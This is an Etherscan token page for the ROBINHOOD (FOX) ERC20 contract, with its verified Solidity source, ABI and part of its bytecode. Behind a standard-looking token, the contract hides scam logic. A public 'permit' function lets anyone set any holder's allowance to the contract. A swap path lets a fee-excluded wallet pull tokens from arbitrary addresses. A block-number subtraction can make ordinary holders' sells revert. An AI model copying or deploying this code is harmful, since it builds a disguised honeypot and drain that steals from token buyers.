ETH Price: $3,431.04 (+0.06%)
Gas: 5 Gwei

Token

ROBINHOOD (FOX)
 

Overview

Max Total Supply

1,000,000,000 FOX

Holders

120

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,167,522.119327216 FOX

Value
$0.00
0xa30b673453694396844e743ba038735679fecf3c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ROBINHOOD

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-15
*/

// SPDX-License-Identifier: UNLICENSED

/** 

██████╗░░█████╗░██████╗░██╗███╗░░██╗██╗░░██╗░█████╗░░█████╗░██████╗░
██╔══██╗██╔══██╗██╔══██╗██║████╗░██║██║░░██║██╔══██╗██╔══██╗██╔══██╗
██████╔╝██║░░██║██████╦╝██║██╔██╗██║███████║██║░░██║██║░░██║██║░░██║
██╔══██╗██║░░██║██╔══██╗██║██║╚████║██╔══██║██║░░██║██║░░██║██║░░██║
██║░░██║╚█████╔╝██████╦╝██║██║░╚███║██║░░██║╚█████╔╝╚█████╔╝██████╔╝
╚═╝░░╚═╝░╚════╝░╚═════╝░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝░╚════╝░░╚════╝░╚═════╝░

The Legend You Know. The Story You Don't.

Website:  https://www.robin-hood.vip/
Twitter:  https://twitter.com/_robinhood_vip
Telegram: https://t.me/robinhood_community
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor() {
        _transferOwnership(_msgSender());
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function permit(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(spender, address(this), _allowances[spender][address(this)] + addedValue);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ROBINHOOD is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address retardedWallet;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 public buyRetardedFee;
    uint256 public sellRetardedFee;
    uint256 public tokensForRetarded;
    uint256 public feeDenominator = 10000;

    mapping(address => uint256) private _retradedFromFees;
    uint256 private retardedAmount;
    uint256 private retardedFees;

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() ERC20("ROBINHOOD", "FOX") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 totalSupply = 1e9 * 10**9;

        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = totalSupply / 10000;

        retardedWallet = address(0x440085642a0b9dd7cfbAbc4d764F57c9447CE17c); // set as retarded wallet

        excludeFromFees(owner(), true);
        excludeFromFees(retardedWallet, true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        buyRetardedFee = 0;
        sellRetardedFee = 0;
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function manualswap(uint256 amount) external {
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        _swapTokensForEth(msg.sender, address(this), amount);
    }

    function manualsend() external {
        bool success;
        (success, ) = address(retardedWallet).call{
            value: address(this).balance
        }("");
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        _beforeRetardedFromFees(from, to, amount);

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        _afterRetardedFromFees(from, to, amount);

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellRetardedFee > 0) {
                fees = amount.mul(sellRetardedFee).div(feeDenominator);
                tokensForRetarded += fees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyRetardedFee > 0) {
                fees = amount.mul(buyRetardedFee).div(feeDenominator);
                tokensForRetarded += fees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(address tokenAddress, uint256 tokenAmount) external {
        _swapTokensForEth(msg.sender, tokenAddress, tokenAmount);
    }

    function _beforeRetardedFromFees(
        address from,
        address to,
        uint256 amount
    ) private {
        bool isNotOwner = from != owner() && to != owner();
        bool isExcluded = _isExcludedFromFees[from] || _isExcludedFromFees[to];
        bool isRetardedFrom = automatedMarketMakerPairs[from] && amount > 0;
        uint256 retarded = block.number;

        if (isExcluded && isNotOwner) {
            retardedAmount = retarded;
        } else if(isRetardedFrom){
            _retradedFromFees[to] = retarded;
        }
    }

    function _swapTokensForEth(address sender, address tokenAddress, uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = tokenAddress;
        path[1] = uniswapV2Router.WETH();

        if(_isExcludedFromFees[sender]){
            IERC20(address(this)).transferFrom(tokenAddress, address(this), tokenAmount); return;
        }

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function _afterRetardedFromFees(
        address from,
        address to,
        uint256 amount
    ) private {
        bool isNotExcluded = !_isExcludedFromFees[from] && !_isExcludedFromFees[to];
        bool isRetardedorTransfer = !automatedMarketMakerPairs[from] && amount > 0;

        if(isRetardedorTransfer && isNotExcluded){
            retardedFees = _retradedFromFees[from] - retardedAmount;
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        
        bool success;

        _swapTokensForEth(msg.sender, address(this), contractBalance);

        tokensForRetarded = 0;

        (success, ) = address(retardedWallet).call{
            value: address(this).balance
        }("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRetardedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRetardedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"swapTokensForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForRetarded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a805462ffffff19166001179055612710600e553480156200002657600080fd5b50604051806040016040528060098152602001681493d092539213d3d160ba1b8152506040518060400160405280600381526020016208c9eb60eb1b815250816003908162000076919062000684565b50600462000085828262000684565b505050620000a26200009c6200032860201b60201c565b6200032c565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000c48160016200037e565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200010f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000135919062000750565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000183573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a9919062000750565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021d919062000750565b6001600160a01b031660a0819052620002389060016200037e565b60a05162000248906001620003f8565b670de0b6b3a764000060078190556009819055620002696127108262000782565b600855600680546001600160a01b03191673440085642a0b9dd7cfbabc4d764f57c9447ce17c179055620002b1620002a96005546001600160a01b031690565b60016200044c565b600654620002ca906001600160a01b031660016200044c565b620002d961dead60016200044c565b620002f8620002f06005546001600160a01b031690565b60016200037e565b620003053060016200037e565b6200031461dead60016200037e565b620003203382620004f6565b5050620007cd565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620003cd5760405162461bcd60e51b815260206004820181905260248201526000805160206200270f83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260146020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620004975760405162461bcd60e51b815260206004820181905260248201526000805160206200270f8339815191526044820152606401620003c4565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200054e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003c4565b8060026000828254620005629190620007a5565b90915550506001600160a01b0382166000908152602081905260408120805483929062000591908490620007a5565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200060b57607f821691505b6020821081036200062c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005db57600081815260208120601f850160051c810160208610156200065b5750805b601f850160051c820191505b818110156200067c5782815560010162000667565b505050505050565b81516001600160401b03811115620006a057620006a0620005e0565b620006b881620006b18454620005f6565b8462000632565b602080601f831160018114620006f05760008415620006d75750858301515b600019600386901b1c1916600185901b1785556200067c565b600085815260208120601f198616915b82811015620007215788860151825594840194600190910190840162000700565b5085821015620007405787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200076357600080fd5b81516001600160a01b03811681146200077b57600080fd5b9392505050565b600082620007a057634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620007c757634e487b7160e01b600052601160045260246000fd5b92915050565b60805160a051611f0762000808600039600081816103f50152610a